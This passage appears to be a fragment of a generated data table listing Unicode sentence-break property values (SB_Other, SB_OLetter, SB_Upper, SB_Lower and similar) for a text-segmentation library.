SB_Extend, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Numeric, - SB_STerm, - SB_Other, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Numeric, - SB_Extend, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_STerm, - SB_Other, - SB_STerm, - SB_Other, - SB_OLetter, - SB_Other, - SB_Upper, - SB_Other, - SB_Lower, - SB_Other, - SB_OLetter, - SB_Other, - SB_STerm, - SB_OLetter, - SB_Sp, - SB_OLetter, - SB_Close, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Extend, - SB_STerm, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_SContinue, - SB_STerm, - SB_Other, - SB_SContinue, - SB_STerm, - SB_Other, - SB_Extend, - SB_Format, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_STerm, - SB_Numeric, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Numeric, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_STerm, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Other, - SB_Numeric, - SB_STerm, - SB_Other, - SB_STerm, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Numeric, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_STerm, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Numeric, - SB_OLetter, - SB_STerm, - SB_Lower, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Lower, - SB_Extend, - SB_Other, - SB_Extend, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Other, - SB_Upper, - SB_Other, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Other, - SB_Upper, - SB_Other, - SB_Lower, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Other, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Other, - SB_Lower, - SB_Upper, - SB_Other, - SB_Lower, - SB_Other, - SB_Lower, - SB_Other, - SB_Lower, - SB_Upper, - SB_Other, - SB_Lower, - SB_Other, - SB_Lower, - SB_Upper, - SB_Other, - SB_Lower, - SB_Upper, - SB_Other, - SB_Lower, - SB_Other, - SB_Lower, - SB_Upper, - SB_Other, - SB_Sp, - SB_Format, - SB_Extend, - SB_Format, - SB_Other, - SB_SContinue, - SB_Other, - SB_Close, - SB_Other, - SB_ATerm, - SB_Other, - SB_Sep, - SB_Format, - SB_Sp, - SB_Other, - SB_Close, - SB_Other, - SB_STerm, - SB_Other, - SB_Close, - SB_STerm, - SB_Other, - SB_Sp, - SB_Format, - SB_Other, - SB_Format, - SB_Other, - SB_Lower, - SB_Other, - SB_Close, - SB_Lower, - SB_Other, - SB_Close, - SB_Other, - SB_Lower, - SB_Other, - SB_Extend, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Lower, - SB_Upper, - SB_Lower, - SB_OLetter, - SB_Lower, - SB_Other, - SB_Lower, - SB_Upper, - SB_Other, - SB_Upper, - SB_Lower, - SB_Other, - SB_Lower, - SB_Other, - SB_Upper, - SB_Lower, - SB_OLetter, - SB_Upper, - SB_Lower, - SB_OLetter, - SB_Other, - SB_Close, - SB_Other, - SB_Close, - SB_Other, - SB_Upper, - SB_Lower, - SB_Other, - SB_Close, - SB_Other, - SB_Close, - SB_Other, - SB_Close, - SB_Other, - SB_Close, - SB_Other, - SB_Close, - SB_Other, - SB_Close, - SB_Other, - SB_Close, - SB_Other, - SB_Upper, - SB_Other, - SB_Lower, - SB_Other, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Other, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Extend, - SB_Upper, - SB_Lower, - SB_Other, - SB_Lower, - SB_Other, - SB_Lower, - SB_Other, - SB_Lower, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Close, - SB_Other, - SB_Close, - SB_Other, - SB_Close, - SB_Other, - SB_STerm, - SB_OLetter, - SB_Other, - SB_STerm, - SB_Other, - SB_Close, - SB_Other, - SB_Sp, - SB_SContinue, - SB_STerm, - SB_Other, - SB_OLetter, - SB_Close, - SB_Other, - SB_Close, - SB_Other, - SB_Close, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_STerm, - SB_OLetter, - SB_Other, - SB_STerm, - SB_OLetter, - SB_Numeric, - SB_OLetter, - SB_Other, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_STerm, - SB_Other, - SB_STerm, - SB_Other, - SB_OLetter, - SB_Other, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_OLetter, - SB_Other, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_OLetter, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Other, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Other, - SB_OLetter, - SB_Lower, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_STerm, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_STerm, - SB_Numeric, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Numeric, - SB_OLetter, - SB_Extend, - SB_Other, - SB_STerm, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_STerm, - SB_Other, - SB_OLetter, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Numeric, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_STerm, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_STerm, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Lower, - SB_Other, - SB_Lower, - SB_Other, - SB_Lower, - SB_OLetter, - SB_Extend, - SB_STerm, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Lower, - SB_Other, - SB_Lower, - SB_Other, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Close, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_SContinue, - SB_Other, - SB_SContinue, - SB_Other, - SB_Close, - SB_Other, - SB_Extend, - SB_Other, - SB_SContinue, - SB_Other, - SB_Close, - SB_Other, - SB_Close, - SB_Other, - SB_SContinue, - SB_ATerm, - SB_Other, - SB_SContinue, - SB_STerm, - SB_SContinue, - SB_Close, - SB_Other, - SB_SContinue, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Format, - SB_Other, - SB_STerm, - SB_Other, - SB_Close, - SB_Other, - SB_SContinue, - SB_ATerm, - SB_Other, - SB_SContinue, - SB_Other, - SB_STerm, - SB_Other, - SB_Upper, - SB_Close, - SB_Other, - SB_Close, - SB_Other, - SB_Lower, - SB_Close, - SB_Other, - SB_Close, - SB_Other, - SB_Close, - SB_STerm, - SB_Close, - SB_SContinue, - SB_Other, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Format, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Upper, - SB_Lower, - SB_OLetter, - SB_Other, - SB_Numeric, - SB_Other, - SB_Upper, - SB_Other, - SB_Lower, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_STerm, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Upper, - SB_Other, - SB_Lower, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_STerm, - SB_Other, - SB_Numeric, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Format, - SB_STerm, - SB_Other, - SB_OLetter, - SB_Other, - SB_Numeric, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_STerm, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_STerm, - SB_Other, - SB_Extend, - SB_STerm, - SB_Other, - SB_Numeric, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_STerm, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_STerm, - SB_Other, - SB_STerm, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_STerm, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_STerm, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_STerm, - SB_Other, - SB_STerm, - SB_OLetter, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Extend, - SB_STerm, - SB_Other, - SB_OLetter, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_STerm, - SB_Other, - SB_Upper, - SB_Lower, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_STerm, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Extend, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_STerm, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_OLetter, - SB_STerm, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Numeric, - SB_Other, - SB_STerm, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_STerm, - SB_Other, - SB_OLetter, - SB_Extend, - SB_STerm, - SB_Other, - SB_OLetter, - SB_STerm, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Extend, - SB_Other, - SB_Extend, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_STerm, - SB_Format, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Format, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Other, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Lower, - SB_Other, - SB_Lower, - SB_Other, - SB_Lower, - SB_Other, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Lower, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Other, - SB_Upper, - SB_Other, - SB_Lower, - SB_Other, - SB_Lower, - SB_Upper, - SB_Other, - SB_Lower, - SB_Other, - SB_Lower, - SB_Upper, - SB_Other, - SB_Lower, - SB_Other, - SB_Lower, - SB_Upper, - SB_Other, - SB_Lower, - SB_Other, - SB_Lower, - SB_Upper, - SB_Other, - SB_Lower, - SB_Other, - SB_Lower, - SB_Upper, - SB_Lower, - SB_Other, - SB_Numeric, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_STerm, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other, - SB_OLetter, - SB_Other, - SB_Extend, - SB_Other, - SB_Upper, - SB_Lower, - SB_Extend, - SB_Other, - SB_Numeric, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - 